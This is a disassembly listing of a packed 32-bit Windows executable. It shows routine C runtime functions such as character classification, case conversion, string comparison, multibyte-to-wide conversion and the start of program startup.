		mov	ecx, dword_4F34B8
		push	ecx
		call	sub_42EC50
		add	esp, 20h
		test	eax, eax
		jnz	short loc_42179D
		jmp	short loc_4217AD
; ---------------------------------------------------------------------------

loc_42179D:				; CODE XREF: sub_421620+179j
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F620
		add	esp, 8

loc_4217AD:				; CODE XREF: sub_421620+12Fj
					; sub_421620+14Fj ...
		cmp	[ebp+var_C], 0
		jz	short loc_4217BF
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_4217CA
; ---------------------------------------------------------------------------

loc_4217BF:				; CODE XREF: sub_421620+191j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_4217CA:				; CODE XREF: sub_421620+19Dj
		push	2
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		mov	eax, [ebp+arg_0]

loc_4217DB:				; CODE XREF: sub_421620+58j
					; sub_421620+FFj
		mov	esp, ebp
		pop	ebp
		retn
sub_421620	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421803
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42181A
; ---------------------------------------------------------------------------

loc_421803:				; CODE XREF: .packed:004217EBj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax

loc_42181A:				; CODE XREF: .packed:00421801j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421850
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_421865
; ---------------------------------------------------------------------------

loc_421850:				; CODE XREF: .packed:0042183Bj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 1
		mov	[ebp-4], eax

loc_421865:				; CODE XREF: .packed:0042184Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421890
		push	2
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4218A5
; ---------------------------------------------------------------------------

loc_421890:				; CODE XREF: .packed:0042187Bj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 2
		mov	[ebp-4], eax

loc_4218A5:				; CODE XREF: .packed:0042188Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4218B0	proc near		; CODE XREF: sub_418428+1A3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_4218D0
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_4218E5
; ---------------------------------------------------------------------------

loc_4218D0:				; CODE XREF: sub_4218B0+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax

loc_4218E5:				; CODE XREF: sub_4218B0+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4218B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421913
		push	80h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42192A
; ---------------------------------------------------------------------------

loc_421913:				; CODE XREF: .packed:004218FBj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp-4], eax

loc_42192A:				; CODE XREF: .packed:00421911j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421940	proc near		; CODE XREF: sub_429E90+105p
					; sub_42B350+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421960
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_421975
; ---------------------------------------------------------------------------

loc_421960:				; CODE XREF: sub_421940+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8
		mov	[ebp+var_4], eax

loc_421975:				; CODE XREF: sub_421940+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421940	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_4219A0
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4219B5
; ---------------------------------------------------------------------------

loc_4219A0:				; CODE XREF: .packed:0042198Bj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 10h
		mov	[ebp-4], eax

loc_4219B5:				; CODE XREF: .packed:0042199Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_4219E3
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4219FA
; ---------------------------------------------------------------------------

loc_4219E3:				; CODE XREF: .packed:004219CBj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax

loc_4219FA:				; CODE XREF: .packed:004219E1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421A33
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_421A4A
; ---------------------------------------------------------------------------

loc_421A33:				; CODE XREF: .packed:00421A1Bj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 157h
		mov	[ebp-4], eax

loc_421A4A:				; CODE XREF: .packed:00421A31j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421A83
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_421A9A
; ---------------------------------------------------------------------------

loc_421A83:				; CODE XREF: .packed:00421A6Bj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 117h
		mov	[ebp-4], eax

loc_421A9A:				; CODE XREF: .packed:00421A81j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_453EB0, 1
		jle	short loc_421AD0
		push	20h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_421AE5
; ---------------------------------------------------------------------------

loc_421AD0:				; CODE XREF: .packed:00421ABBj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 20h
		mov	[ebp-4], eax

loc_421AE5:				; CODE XREF: .packed:00421ACEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 80h
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 7Fh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_453EB0, 1
		jle	short loc_421B35
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_421B4C
; ---------------------------------------------------------------------------

loc_421B35:				; CODE XREF: .packed:00421B1Dj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax

loc_421B4C:				; CODE XREF: .packed:00421B33j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_421B61
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_421B61
		mov	dword ptr [ebp-8], 0
		jmp	short loc_421B68
; ---------------------------------------------------------------------------

loc_421B61:				; CODE XREF: .packed:00421B50j
					; .packed:00421B56j
		mov	dword ptr [ebp-8], 1

loc_421B68:				; CODE XREF: .packed:00421B5Fj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_453EB0, 1
		jle	short loc_421B95
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_421BAC
; ---------------------------------------------------------------------------

loc_421B95:				; CODE XREF: .packed:00421B7Dj
		mov	ecx, [ebp+8]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax

loc_421BAC:				; CODE XREF: .packed:00421B93j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_421BC1
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_421BC1
		mov	dword ptr [ebp-8], 0
		jmp	short loc_421BC8
; ---------------------------------------------------------------------------

loc_421BC1:				; CODE XREF: .packed:00421BB0j
					; .packed:00421BB6j
		mov	dword ptr [ebp-8], 1

loc_421BC8:				; CODE XREF: .packed:00421BBFj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421BD0	proc near		; CODE XREF: sub_418827+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_421C1C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_421C1D
		test	eax, 1
		jz	short loc_421BFD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_421C4A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_421C1A

loc_421BFD:				; CODE XREF: sub_421BD0+20j
					; sub_421BD0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_421C4A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_421C4A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_421BFD

loc_421C1A:				; CODE XREF: sub_421BD0+2Bj
					; sub_421BD0+84j
		pop	edi
		pop	esi

locret_421C1C:				; CODE XREF: sub_421BD0+6j
		retn
; ---------------------------------------------------------------------------

loc_421C1D:				; CODE XREF: sub_421BD0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_421C52
		repe cmpsd
		jz	short loc_421C52
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_421C45
		cmp	ch, dh
		jnz	short loc_421C45
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_421C45
		cmp	ch, dh

loc_421C45:				; CODE XREF: sub_421BD0+63j
					; sub_421BD0+67j ...
		mov	eax, 0

loc_421C4A:				; CODE XREF: sub_421BD0+26j
					; sub_421BD0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421C52:				; CODE XREF: sub_421BD0+55j
					; sub_421BD0+59j
		test	eax, eax
		jz	short loc_421C1A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_421C45
		dec	eax
		jz	short loc_421C79
		cmp	dh, ch
		jnz	short loc_421C45
		dec	eax
		jz	short loc_421C79
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_421C45
		dec	eax

loc_421C79:				; CODE XREF: sub_421BD0+8Fj
					; sub_421BD0+96j
		pop	edi
		pop	esi
		retn
sub_421BD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C90	proc near		; CODE XREF: sub_418B3E+6p
					; sub_418B5C+48p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F34B8, 0
		jnz	short loc_421CB7
		cmp	[ebp+arg_0], 41h
		jl	short loc_421CB2
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_421CB2
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax

loc_421CB2:				; CODE XREF: sub_421C90+11j
					; sub_421C90+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_421D1F
; ---------------------------------------------------------------------------

loc_421CB7:				; CODE XREF: sub_421C90+Bj
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_421CE9
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_421CF0
; ---------------------------------------------------------------------------

loc_421CE9:				; CODE XREF: sub_421C90+39j
		mov	[ebp+var_4], 0

loc_421CF0:				; CODE XREF: sub_421C90+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421D30
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_421D11
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_421D1C
; ---------------------------------------------------------------------------

loc_421D11:				; CODE XREF: sub_421C90+73j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_421D1C:				; CODE XREF: sub_421C90+7Fj
		mov	eax, [ebp+arg_0]

loc_421D1F:				; CODE XREF: sub_421C90+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_421C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D30	proc near		; CODE XREF: sub_420F10+94p
					; sub_420F10+9Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4F34B8, 0
		jnz	short loc_421D5C
		cmp	[ebp+arg_0], 41h
		jl	short loc_421D54
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_421D54
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax

loc_421D54:				; CODE XREF: sub_421D30+13j
					; sub_421D30+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_421E57
; ---------------------------------------------------------------------------

loc_421D5C:				; CODE XREF: sub_421D30+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_421DA3
		cmp	dword_453EB0, 1
		jle	short loc_421D81
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_421D95
; ---------------------------------------------------------------------------

loc_421D81:				; CODE XREF: sub_421D30+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 1
		mov	[ebp+var_10], ecx

loc_421D95:				; CODE XREF: sub_421D30+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_421DA3
		mov	eax, [ebp+arg_0]
		jmp	loc_421E57
; ---------------------------------------------------------------------------

loc_421DA3:				; CODE XREF: sub_421D30+33j
					; sub_421D30+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_421DEC
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_421DFD
; ---------------------------------------------------------------------------

loc_421DEC:				; CODE XREF: sub_421D30+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1

loc_421DFD:				; CODE XREF: sub_421D30+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	100h
		mov	edx, dword_4F34B8
		push	edx
		call	sub_42EC50
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_421E31
		mov	eax, [ebp+arg_0]
		jmp	short loc_421E57
; ---------------------------------------------------------------------------

loc_421E31:				; CODE XREF: sub_421D30+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_421E41
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_421E57
; ---------------------------------------------------------------------------

loc_421E41:				; CODE XREF: sub_421D30+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx

loc_421E57:				; CODE XREF: sub_421D30+27j
					; sub_421D30+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E60	proc near		; CODE XREF: sub_419229+9Cp
					; sub_41A20B+55p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_421E6A:				; CODE XREF: sub_421E60+1Fj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_421E81
		jmp	short loc_421E6A
; ---------------------------------------------------------------------------

loc_421E81:				; CODE XREF: sub_421E60+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		sar	eax, 1
		sub	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_421E60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E90	proc near		; CODE XREF: sub_419229+6Ep
					; sub_419229+7Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_421EC8
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_421ECF
; ---------------------------------------------------------------------------

loc_421EC8:				; CODE XREF: sub_421E90+18j
		mov	[ebp+var_4], 0

loc_421ECF:				; CODE XREF: sub_421E90+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_421F10
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_421EF8
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_421F03
; ---------------------------------------------------------------------------

loc_421EF8:				; CODE XREF: sub_421E90+5Aj
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_421F03:				; CODE XREF: sub_421E90+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_421E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F10	proc near		; CODE XREF: sub_421E90+4Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_421F33
		cmp	[ebp+arg_8], 0
		jnz	short loc_421F33
		xor	eax, eax
		jmp	loc_4220F4
; ---------------------------------------------------------------------------

loc_421F33:				; CODE XREF: sub_421F10+14j
					; sub_421F10+1Aj ...
		cmp	[ebp+arg_4], 0
		jnz	short loc_421F57
		push	offset dword_43CDD8
		push	0
		push	55h
		push	offset dword_43CDCC
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421F57
		int	3		; Trap to Debugger

loc_421F57:				; CODE XREF: sub_421F10+27j
					; sub_421F10+44j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_421F33
		cmp	[ebp+arg_0], 0
		jz	loc_4220A6
		cmp	dword_4F34B8, 0
		jnz	short loc_421FB9

loc_421F70:				; CODE XREF: sub_421F10+9Fj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_421FB1
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movzx	ax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], ax
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_421F9D
		mov	eax, [ebp+var_4]
		jmp	loc_4220F4
; ---------------------------------------------------------------------------

loc_421F9D:				; CODE XREF: sub_421F10+83j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2
		mov	[ebp+arg_0], edx
		jmp	short loc_421F70
; ---------------------------------------------------------------------------

loc_421FB1:				; CODE XREF: sub_421F10+66j
		mov	eax, [ebp+var_4]
		jmp	loc_4220F4
; ---------------------------------------------------------------------------

loc_421FB9:				; CODE XREF: sub_421F10+5Ej
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4F34C8
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_421FE9
		mov	eax, [ebp+var_4]
		sub	eax, 1
		jmp	loc_4220F4
; ---------------------------------------------------------------------------

loc_421FE9:				; CODE XREF: sub_421F10+CCj
		call	dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_422007
		call	sub_429A90
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_4220F4
; ---------------------------------------------------------------------------

loc_422007:				; CODE XREF: sub_421F10+E2j
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		jmp	short loc_42201E
; ---------------------------------------------------------------------------

loc_422015:				; CODE XREF: sub_421F10:loc_42205Fj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_42201E:				; CODE XREF: sub_421F10+103j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_422061
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_422061
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42205F
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_42205F:				; CODE XREF: sub_421F10+144j
		jmp	short loc_422015
; ---------------------------------------------------------------------------

loc_422061:				; CODE XREF: sub_421F10+11Cj
					; sub_421F10+127j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	1
		mov	eax, dword_4F34C8
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4220A1
		call	sub_429A90
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4220F4
; ---------------------------------------------------------------------------

loc_4220A1:				; CODE XREF: sub_421F10+17Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_4220F4
; ---------------------------------------------------------------------------

loc_4220A6:				; CODE XREF: sub_421F10+51j
		cmp	dword_4F34B8, 0
		jnz	short loc_4220BD
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		jmp	short loc_4220F4
; ---------------------------------------------------------------------------

loc_4220BD:				; CODE XREF: sub_421F10+19Dj
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4F34C8
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4220EE
		call	sub_429A90
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4220F4
; ---------------------------------------------------------------------------

loc_4220EE:				; CODE XREF: sub_421F10+1CCj
		mov	eax, [ebp+var_4]
		sub	eax, 1

loc_4220F4:				; CODE XREF: sub_421F10+1Ej
					; sub_421F10+88j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422100	proc near		; CODE XREF: start+200j
					; .RLPack:00521D06p
					; DATA XREF: ...

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CDE8
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFA4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_4F5494	; GetVersion
		mov	dword_4F33B8, eax
		mov	eax, dword_4F33B8
		shr	eax, 8
		and	eax, 0FFh
		mov	dword_4F33C4, eax
		mov	ecx, dword_4F33B8
		and	ecx, 0FFh
		mov	dword_4F33C0, ecx
		mov	edx, dword_4F33C0
		shl	edx, 8
		add	edx, dword_4F33C4
		mov	dword_4F33BC, edx
		mov	eax, dword_4F33B8
		shr	eax, 10h
		and	eax, 0FFFFh
		mov	dword_4F33B8, eax
		push	1
		call	sub_426EC0
		add	esp, 4
